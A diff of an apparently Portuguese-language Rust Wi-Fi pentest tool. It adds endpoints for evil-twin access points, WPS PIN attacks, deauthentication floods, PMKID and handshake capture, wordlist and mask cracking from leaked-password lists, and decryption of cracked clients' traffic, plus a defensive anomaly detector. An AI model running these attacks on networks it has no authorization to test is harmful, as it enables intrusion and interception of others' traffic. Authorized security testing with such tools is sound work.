#[arg(long)]
station: Option<String>,
/// Aplica mutações comuns a cada palavra (maiúscula, sufixos
/// numéricos, leet simples) — multiplica o tempo de verdade.
#[arg(long)]
rules: bool,
#[arg(long)]
json: bool,
},
@@ -275,6 +279,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
wordlist,
bssid,
station,
rules,
json,
} => {
let mut last = 0u64;
@@ -283,6 +288,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
&wordlist,
bssid.as_deref(),
station.as_deref(),
rules,
|tried| {
if tried.saturating_sub(last) >= 4096 {
eprint!("\r{tried} senhas testadas…");
@@ -412,7 +418,7 @@ fn crack_first(engine: &Engine, iface: &str, wordlist: &PathBuf) -> sabia_core::
hs.bssid,
wordlist.display()
);
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist)?;
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist, false)?;
loop {
let job = engine.crack_job(&id).expect("job");
if job.status == "running" {
+351 -4
View File
@@ -15,13 +15,29 @@ use std::time::{SystemTime, UNIX_EPOCH};
const INDEX_HTML: &str = include_str!("../../../../apps/gui/ui/index.html");
const APP_CSS: &str = include_str!("../../../../apps/gui/ui/app.css");
const APP_JS: &str = include_str!("../../../../apps/gui/ui/app.js");
const I18N_JS: &str = include_str!("../../../../apps/gui/ui/i18n.js");
const I18N_EN_JS: &str = include_str!("../../../../apps/gui/ui/i18n-en.js");
const LOGO_PNG: &[u8] = include_bytes!("../../../../apps/gui/ui/sabia.png");
const PAGED_JS: &str = include_str!("../../../../apps/gui/ui/paged.polyfill.min.js");
pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_core::Result<()> {
let token = gen_token();
let listener = TcpListener::bind(("127.0.0.1", port))?;
let engine = Arc::new(Engine::with_audit_path(audit_path));
// Sem isso, Ctrl+C (ou um `kill` normal) durante um Evil Twin ativo
// mata o processo sem rodar a limpeza: hostapd/dnsmasq ficam órfãos
// e as duas interfaces ficam presas em `managed no` pro
// NetworkManager — o painel de Wi-Fi do sistema some por completo até
// o próximo início do engine se auto-curar.
{
let engine = engine.clone();
let _ = ctrlc::set_handler(move || {
engine.shutdown_cleanup();
std::process::exit(0);
});
}
println!("Sabiá UI em http://127.0.0.1:{port}/?token={token}");
if open {
let _ = open_browser(&format!("http://127.0.0.1:{port}/?token={token}"));
@@ -225,7 +241,48 @@ fn handle(
);
}
if req.path == "/api/report.html" {
if req.token.as_deref() != Some(expected_token) {
return respond(&mut stream, 401, "text/plain", b"token invalido");
}
let Some(iface) = req.text("iface") else {
return respond(&mut stream, 400, "text/plain", b"iface obrigatoria");
};
return match engine.report(&iface) {
Ok(model) => {
let download = req.bool("download");
let mut html = sabia_core::report::render(
&model,
sabia_core::report::ReportOptions {
inline_pagedjs: download,
},
);
if download {
html = html.replace(
"<!--SABIA_PAGEDJS-->",
&format!("<script>{PAGED_JS}</script>"),
);
}
respond(
&mut stream,
200,
"text/html; charset=utf-8",
html.as_bytes(),
)
}
Err(e) => respond(&mut stream, 400, "text/plain", e.to_string().as_bytes()),
};
}
match req.path.as_str() {
"/paged.polyfill.min.js" => {
return respond(
&mut stream,
200,
"application/javascript",
PAGED_JS.as_bytes(),
)
}
"/app.css" => return respond(&mut stream, 200, "text/css", APP_CSS.as_bytes()),
"/app.js" => {
return respond(
@@ -235,6 +292,22 @@ fn handle(
APP_JS.as_bytes(),
)
}
"/i18n.js" => {
return respond(
&mut stream,
200,
"application/javascript",
I18N_JS.as_bytes(),
)
}
"/i18n-en.js" => {
return respond(
&mut stream,
200,
"application/javascript",
I18N_EN_JS.as_bytes(),
)
}
"/sabia.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG),
_ => {}
}
@@ -408,13 +481,210 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
Err(e) => err(400, e),
}
}
("POST", "/api/handshakes/export-hc22000") => {
let (Some(iface), Some(bssid), Some(station), Some(out)) = (
req.text("iface"),
req.text("bssid"),
req.text("station"),
req.text("out"),
) else {
return err(400, "iface, bssid, station e out são obrigatórios");
};
match engine.export_hc22000(&iface, &bssid, &station, &out) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/handshakes/export-all-hc22000") => {
let (Some(iface), Some(out)) = (req.text("iface"), req.text("out")) else {
return err(400, "iface e out são obrigatórios");
};
match engine.export_all_hc22000(&iface, &out) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("GET", "/api/report") => {
let Some(iface) = req.text("iface") else {
return err(400, "iface obrigatória");
};
match engine.report(&iface) {
Ok(model) => ok(&model),
Err(e) => err(400, e),
}
}
("GET", "/api/wps/tools") => ok(&engine.wps_tools()),
("POST", "/api/wps") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let tool = req.text("tool").unwrap_or_else(|| "reaver".into());
let channel = req.u32("channel").unwrap_or(0);
let pin = req.text("pin");
match engine.start_wps(&iface, &bssid, channel, &tool, pin.as_deref()) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("GET", "/api/wps") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.wps_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/wps/jobs") => ok(&engine.wps_jobs()),
("POST", "/api/wps/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_wps(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("POST", "/api/eviltwin") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(ap_iface), Some(bssid)) =
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
else {
return err(400, "iface, ap_iface e bssid são obrigatórios");
};
let portal_port = req.u16("portal_port").unwrap_or(8080);
let deauth = req.bool("deauth");
match engine.start_evil_twin(&iface, &ap_iface, &bssid, portal_port, deauth) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("GET", "/api/eviltwin") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.eviltwin_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/eviltwins") => ok(&engine.eviltwin_jobs()),
("POST", "/api/eviltwin/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_evil_twin(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("POST", "/api/eviltwin-enterprise") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(ap_iface), Some(bssid)) =
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
else {
return err(400, "iface, ap_iface e bssid são obrigatórios");
};
match engine.start_evil_twin_enterprise(&iface, &ap_iface, &bssid) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("GET", "/api/eviltwin-enterprise") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.enterprise_twin_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/eviltwins-enterprise") => ok(&engine.enterprise_twin_jobs()),
("POST", "/api/eviltwin-enterprise/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_evil_twin_enterprise(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("POST", "/api/pmkid") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let attempts = req.u32("attempts").unwrap_or(5);
match engine.pmkid_hunt(&iface, &bssid, attempts) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/pmf") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid), Some(station)) =
(req.text("iface"), req.text("bssid"), req.text("station"))
else {
return err(400, "iface, bssid e station são obrigatórios");
};
let reason = req.u16("reason").unwrap_or(7);
match engine.pmf_test(&iface, &bssid, &station, reason) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/crack") => {
let (Some(iface), Some(wordlist)) = (req.text("iface"), req.text("wordlist")) else {
return err(400, "iface e wordlist são obrigatórios");
let Some(iface) = req.text("iface") else {
return err(400, "iface é obrigatória");
};
let bssid = req.text("bssid");
let station = req.text("station");
match engine.start_crack(&iface, bssid.as_deref(), station.as_deref(), &wordlist) {
let rules = req.bool("rules");
let result = match req.text("wordlist") {
Some(wordlist) if !wordlist.trim().is_empty() => engine.start_crack(
&iface,
bssid.as_deref(),
station.as_deref(),
&wordlist,
rules,
),
_ => {
engine.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules)
}
};
match result {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("POST", "/api/crack/mask") => {
let Some(iface) = req.text("iface") else {
return err(400, "iface é obrigatória");
};
let Some(mask) = req.text("mask").filter(|m| !m.trim().is_empty()) else {
return err(400, "máscara é obrigatória");
};
let bssid = req.text("bssid");
let station = req.text("station");
let max_candidates = req.u64("max_candidates").unwrap_or(50_000_000);
match engine.start_crack_mask(
&iface,
bssid.as_deref(),
station.as_deref(),
&mask,
max_candidates,
) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
@@ -441,17 +711,94 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
};
let count = req.u32("count").unwrap_or(5);
let reason = req.u16("reason").unwrap_or(7);
match engine.deauth(
let direction = req.text("direction").unwrap_or_else(|| "ap".into());
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
match engine.deauth_directional(
&iface,
&bssid,
req.text("station").as_deref(),
count,
reason,
&direction,
&frame_kind,
) {
Ok(report) => ok(&report),
Err(e) => err(400, e),
}
}
("POST", "/api/deauth/start") => {
if !req.bool("confirm") {
return err(
400,
"confirme a autorização do teste (confirm=true) antes de desautenticar",
);
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let reason = req.u16("reason").unwrap_or(7);
let direction = req.text("direction").unwrap_or_else(|| "both".into());
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
let interval_ms = req.u64("interval_ms").unwrap_or(120);
let max_secs = req.u64("max_secs");
let stop_on_handshake = req.bool("stop_on_handshake");
match engine.start_deauth_job(
&iface,
&bssid,
req.text("station").as_deref(),
reason,
&direction,
&frame_kind,
interval_ms,
max_secs,
stop_on_handshake,
) {
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("POST", "/api/deauth/stop") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.stop_deauth_job(&id) {
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
Err(e) => err(400, e),
}
}
("GET", "/api/deauth/job") => {
let Some(id) = req.text("id") else {
return err(400, "id obrigatório");
};
match engine.deauth_job(&id) {
Some(job) => ok(&job),
None => err(404, "job não encontrado"),
}
}
("GET", "/api/deauth/jobs") => {
let jobs = engine.deauth_jobs();
match req.text("iface") {
Some(iface) => ok(&jobs
.into_iter()
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
.collect::<Vec<_>>()),
None => ok(&jobs),
}
}
("POST", "/api/handshakes/capture") => {
if !req.bool("confirm") {
return err(400, "confirme a autorização do teste (confirm=true)");
}
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
return err(400, "iface e bssid são obrigatórios");
};
let seconds = req.u64("seconds");
match engine.capture_handshake(&iface, &bssid, req.text("station").as_deref(), seconds)
{
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
Err(e) => err(400, e),
}
}
("POST", "/api/analyze") => {
let pcap = if !req.body.is_empty() {
serde_json::from_slice::<AnalyzeBody>(&req.body)
+2
View File
@@ -18,6 +18,8 @@ sha2 = "0.10"
sha1 = "0.10"
hmac = "0.12"
md-5 = "0.10"
aes = "0.8"
flate2 = { version = "1", default-features = false, features = ["rust_backend"] }
[dev-dependencies]
tempfile = "3"
@@ -0,0 +1,31 @@
wpa-full.txt.gz
Dois dicionários concatenados, com as duplicatas removidas e a ordem de
prioridade preservada (as entradas mais prováveis ficam primeiro, então a
quebra por dicionário tende a achar a senha mais cedo em vez de só no fim):
1. Probable-Wordlists (berzerk0), Real-Passwords/WPA-Length/
Top204Thousand-WPA-probable-v2.txt — 203.806 senhas reais vazadas, já
filtradas pro comprimento válido de WPA (8–63) e ordenadas por frequência
observada no mundo real.
https://github.com/berzerk0/Probable-Wordlists
Licença: Creative Commons Attribution-ShareAlike 4.0 International
(CC BY-SA 4.0) — https://creativecommons.org/licenses/by-sa/4.0/
2. rockyou.txt — o dump de senhas em texto puro do vazamento da RockYou de
2009 (~32 milhões de contas), aqui filtrado pro mesmo comprimento válido
de WPA. É provavelmente o dicionário de senhas mais usado em segurança
ofensiva — vem embutido por padrão até no Kali Linux
(/usr/share/wordlists/rockyou.txt.gz). Redistribuído aqui via SecLists:
https://github.com/danielmiessler/SecLists (repositório MIT; o conteúdo do
próprio rockyou.txt é dado de vazamento, sem titular de direitos autorais
que o licencie formalmente — é tratado como de uso livre pra pesquisa de
segurança em toda a indústria, mesmo padrão que o SecLists e as
distribuições Linux de pentest adotam).
Ao redistribuir este arquivo (ou um derivado dele), mantenha a atribuição ao
Probable-Wordlists acima — é a parte que tem uma licença formal que exige
isso (CC BY-SA 4.0).
Isso é atribuição e aviso de licença, não os termos legais completos da
CC BY-SA 4.0.
Binary file not shown.
+486
View File
@@ -0,0 +1,486 @@
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
//!
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
//! o relatório usa o mesmo modelo para não ter duas verdades.
use crate::radiotap::{self, Band};
use crate::scan::AccessPoint;
use serde::Serialize;
use std::collections::HashMap;
#[derive(Debug, Clone, Serialize)]
pub struct ChannelCandidate {
pub channel: u32,
pub freq_mhz: u16,
pub band: String,
pub score: f32,
pub aps: usize,
pub dfs: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct BandReport {
pub band: String,
pub candidates: Vec<ChannelCandidate>,
pub recommended: Option<u32>,
pub used_channels: Vec<u32>,
}
#[derive(Debug, Clone, Serialize)]
pub struct Finding {
pub id: String,
pub severity: String,
pub title: String,
pub detail: String,
pub bssid: Option<String>,
pub ssid: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct Wpa3Info {
pub bssid: String,
pub ssid: Option<String>,
pub mode: String,
pub pmf: bool,
pub pmf_required: bool,
pub transition: bool,
pub notes: Vec<String>,
}
#[derive(Debug, Clone, Serialize, Default)]
pub struct Analysis {
pub bands: Vec<BandReport>,
pub findings: Vec<Finding>,
pub wpa3: Vec<Wpa3Info>,
pub deauth_60s: u32,
}
const BAND_24: &str = "2.4 GHz";
const BAND_5: &str = "5 GHz";
const BAND_6: &str = "6 GHz";
fn band_label(band: Band) -> &'static str {
match band {
Band::B2G4 => BAND_24,
Band::B5 => BAND_5,
Band::B6 => BAND_6,
Band::Unknown => BAND_24,
}
}
fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> {
if let Some(freq) = ap.freq_mhz {
return Some((freq, radiotap::band_for_freq(freq)));
}
let band = ap.band?;
let channel = ap.channel?;
radiotap::channel_to_freq(channel, band).map(|freq| (freq, band))
}
fn ap_width(ap: &AccessPoint) -> u16 {
ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20)
}
fn candidates_for(band: Band) -> Vec<u32> {
match band {
Band::B2G4 => (1..=14).collect(),
Band::B5 => {
let mut chans: Vec<u32> = (36..=64).step_by(4).collect();
chans.extend((100..=144).step_by(4));
chans.extend((149..=177).step_by(4));
chans.extend([182, 184, 188, 192, 196]);
chans
}
Band::B6 => (1..=233).step_by(4).collect(),
Band::Unknown => Vec::new(),
}
}
fn is_dfs(channel: u32) -> bool {
(52..=64).contains(&channel) || (100..=144).contains(&channel)
}
fn signal_weight(dbm: Option<i8>) -> f32 {
let dbm = dbm.unwrap_or(-75) as f32;
(1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0)
}
fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) {
let half = 10.0f32;
let mut score = 0.0f32;
let mut count = 0usize;
for (freq, width, weight) in aps {
let ap_half = *width as f32 / 2.0;
let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half);
let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half);
let overlap = (hi - lo).max(0.0) / (half * 2.0);
if overlap > 0.0 {
score += overlap * weight;
count += 1;
}
}
(score, count)
}
fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport {
let mut occupied: Vec<(u16, u16, f32)> = Vec::new();
let mut used = Vec::new();
for ap in aps {
let Some((freq, _)) = ap_freq(ap) else {
continue;
};
occupied.push((
freq,
ap_width(ap),
signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)),
));
if let Some(ch) = ap.channel {
used.push(ch);
}
}
used.sort_unstable();
used.dedup();
let mut candidates: Vec<ChannelCandidate> = candidates_for(band)
.into_iter()
.filter_map(|channel| {
radiotap::channel_to_freq(channel, band).map(|freq| {
let (score, count) = overlap_score(freq, &occupied);
ChannelCandidate {
channel,
freq_mhz: freq,
band: band_label(band).to_string(),
score: (score * 1000.0).round() / 1000.0,
aps: count,
dfs: is_dfs(channel),
}
})
})
.collect();
let preferred: Vec<u32> = match band {
Band::B2G4 => vec![1, 6, 11],
_ => Vec::new(),
};
let recommended = if preferred.is_empty() {
candidates
.iter()
.filter(|c| !c.dfs)
.min_by(|a, b| a.score.total_cmp(&b.score))
.or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score)))
.map(|c| c.channel)
} else {
preferred
.into_iter()
.filter_map(|ch| candidates.iter().find(|c| c.channel == ch))
.min_by(|a, b| a.score.total_cmp(&b.score))
.map(|c| c.channel)
};
candidates.sort_by(|a, b| {
a.score
.total_cmp(&b.score)
.then_with(|| a.channel.cmp(&b.channel))
});
candidates.truncate(8);
BandReport {
band: band_label(band).to_string(),
candidates,
recommended,
used_channels: used,
}
}
fn finding(
id: &str,
severity: &str,
title: impl Into<String>,
detail: impl Into<String>,
ap: Option<&AccessPoint>,
) -> Finding {
Finding {
id: id.into(),
severity: severity.into(),
title: title.into(),
detail: detail.into(),
bssid: ap.map(|a| a.bssid.clone()),
ssid: ap.and_then(|a| a.ssid.clone()),
}
}
fn security_rank(security: Option<&str>) -> u8 {
match security {
Some("Open") => 0,
Some("WEP") => 1,
Some("WPA") => 2,
Some("WPA2-EAP") => 3,
Some("WPA2") => 4,
Some("WPA2/WPA3") => 5,
Some("WPA3-EAP") => 6,
Some("WPA3") => 7,
Some("OWE") => 4,
_ => 3,
}
}
fn wpa3_info(ap: &AccessPoint) -> Option<Wpa3Info> {
let sec = ap.security.as_deref()?;
let is_wpa3 = sec.contains("WPA3") || sec == "OWE";
if !is_wpa3 {
return None;
}
let transition = sec == "WPA2/WPA3";
let mut notes = Vec::new();
if transition {
notes.push(
"Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco."
.into(),
);
}
if !ap.pmf {
notes
.push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into());
} else if !ap.pmf_required && !transition {
notes.push("PMF suportado, mas não obrigatório.".into());
}
if ap.wps {
notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into());
}
if ap.wps_locked == Some(false) {
notes.push("WPS destravado: PIN pode ser testado.".into());
}
Some(Wpa3Info {
bssid: ap.bssid.clone(),
ssid: ap.ssid.clone(),
mode: sec.to_string(),
pmf: ap.pmf,
pmf_required: ap.pmf_required,
transition,
notes,
})
}
pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
let mut findings = Vec::new();
let mut wpa3 = Vec::new();
let bands = [Band::B2G4, Band::B5, Band::B6]
.into_iter()
.filter_map(|band| {
let filtered: Vec<&AccessPoint> = aps
.iter()
.filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band))
.collect();
if filtered.is_empty() {
None
} else {
Some(band_report(band, &filtered))
}
})
.collect();
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
for ap in aps {
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
by_ssid.entry(ssid.to_string()).or_default().push(ap);
}
}
for (ssid, group) in &by_ssid {
if group.len() < 2 {
continue;
}
let mut ranks: Vec<u8> = group
.iter()
.map(|a| security_rank(a.security.as_deref()))
.collect();
ranks.sort_unstable();
ranks.dedup();
if ranks.len() > 1 {
let detail = group
.iter()
.map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—")))
.collect::<Vec<_>>()
.join(", ");
findings.push(finding(
"evil_twin_security",
"bad",
format!("SSID “{ssid}” com seguranças diferentes"),
format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."),
None,
));
}
}
if deauth_60s >= 40 {
findings.push(finding(
"deauth_flood",
"bad",
"Rajada de desautenticação",
format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."),
None,
));
}
let recent_aps = aps
.iter()
.filter(|a| now.saturating_sub(a.first_seen_unix) <= 60)
.count();
if recent_aps >= 60 {
findings.push(finding(
"beacon_flood",
"warn",
"Muitos BSSIDs novos",
format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."),
None,
));
}
for ap in aps {
let label = ap
.ssid
.clone()
.filter(|s| !s.is_empty())
.unwrap_or_else(|| ap.bssid.clone());
match ap.security.as_deref() {
Some("Open") => findings.push(finding(
"open",
"bad",
format!("Rede aberta: {label}"),
"Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.",
Some(ap),
)),
Some("WEP") => findings.push(finding(
"wep",
"bad",
format!("WEP em {label}"),
"WEP é quebrável em minutos; trate a rede como aberta.",
Some(ap),
)),
Some("WPA") => findings.push(finding(
"wpa1",
"warn",
format!("WPA1 (TKIP) em {label}"),
"WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.",
Some(ap),
)),
_ => {}
}
if ap.wps {
findings.push(finding(
"wps",
if ap.wps_locked == Some(true) {
"info"
} else {
"warn"
},
format!("WPS ativo em {label}"),
if ap.wps_locked == Some(true) {
"O AP anuncia WPS com configuração travada."
} else {
"WPS sem lock explícito; PIN pode ser testado com reaver/bully."
},
Some(ap),
));
}
if !ap.pmf
&& matches!(
ap.security.as_deref(),
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
)
{
findings.push(finding(
"no_pmf",
"warn",
format!("Sem PMF em {label}"),
"Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.",
Some(ap),
));
}
if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf
{
findings.push(finding(
"pmf_inconsistent",
"warn",
format!("PMF inconsistente em {label}"),
"O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.",
Some(ap),
));
}
if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) {
findings.push(finding(
"wpa3_wps",
"warn",
format!("WPA3 com WPS em {label}"),
"WPS não faz parte do WPA3 e abre uma via mais fraca de associação.",
Some(ap),
));
}
if let Some(info) = wpa3_info(ap) {
wpa3.push(info);
}
}
findings.sort_by_key(|f| match f.severity.as_str() {
"bad" => 0,
"warn" => 1,
_ => 2,
});
Analysis {
bands,
findings,
wpa3,
deauth_60s,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::scan::ScanTable;
use crate::testutil::{ap, beacon_frame, radiotap_wrap};
fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) {
let frame = beacon_frame(ap(), ssid, channel, akms);
table.ingest_at(
&radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal),
100,
);
}
#[test]
fn recommends_16_or_11_in_24() {
let mut table = ScanTable::new();
ingest(&mut table, "Casa", 6, -40, &[2]);
let result = table.analysis();
let band = result
.bands
.iter()
.find(|b| b.band == BAND_24)
.expect("2.4");
assert!(matches!(band.recommended, Some(1 | 6 | 11)));
}
#[test]
fn flags_same_ssid_with_different_security() {
let mut table = ScanTable::new();
ingest(&mut table, "Loja", 6, -40, &[2]);
let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]);
table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100);
let result = table.analysis();
assert!(result.findings.iter().any(|f| f.id == "evil_twin_security"));
}
#[test]
fn flags_wps_and_weak_networks() {
let mut table = ScanTable::new();
let frame = beacon_frame(ap(), "Antiga", 1, &[]);
table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100);
let result = table.analysis();
assert!(result
.findings
.iter()
.any(|f| f.id == "wep" || f.id == "open"));
}
}
+173
View File
@@ -0,0 +1,173 @@
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
//! de um handshake quebrado.
//!
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
//! abre o tráfego de quem a gente não viu entrar.
//!
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
//! sem ganho prático pro que isso serve aqui.
use aes::cipher::{BlockEncrypt, KeyInit};
use aes::Aes128;
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
///
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
pub fn decrypt_data(
tk: &[u8; 16],
transmitter: &[u8; 6],
qos_tid: u8,
body: &[u8],
) -> Option<Vec<u8>> {
const HEADER_LEN: usize = 8;
const MIC_LEN: usize = 8;
if body.len() < HEADER_LEN + MIC_LEN {
return None;
}
let pn0 = body[0];
let pn1 = body[1];
let key_id_octet = body[3];
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
if key_id_octet & 0x20 == 0 {
return None;
}
let pn2 = body[4];
let pn3 = body[5];
let pn4 = body[6];
let pn5 = body[7];
let ciphertext_and_mic = &body[HEADER_LEN..];
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
// mais significativo (PN5) ao menos significativo (PN0).
let mut nonce = [0u8; 13];
nonce[0] = qos_tid & 0x0f;
nonce[1..7].copy_from_slice(transmitter);
nonce[7] = pn5;
nonce[8] = pn4;
nonce[9] = pn3;
nonce[10] = pn2;
nonce[11] = pn1;
nonce[12] = pn0;
let cipher = Aes128::new(tk.into());
let mut out = Vec::with_capacity(ciphertext.len());
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
for chunk in ciphertext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
cipher.encrypt_block(&mut keystream);
for (c, k) in chunk.iter().zip(keystream.iter()) {
out.push(c ^ k);
}
counter = counter.wrapping_add(1);
}
Some(out)
}
#[cfg(test)]
mod tests {
use super::*;
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
/// que a cifra de bloco usada embaixo está correta antes de confiar no
/// contador CTR por cima dela.
#[test]
fn aes128_matches_fips197_vector() {
let key: [u8; 16] = [
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
0x0e, 0x0f,
];
let plaintext: [u8; 16] = [
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
0xee, 0xff,
];
let expected: [u8; 16] = [
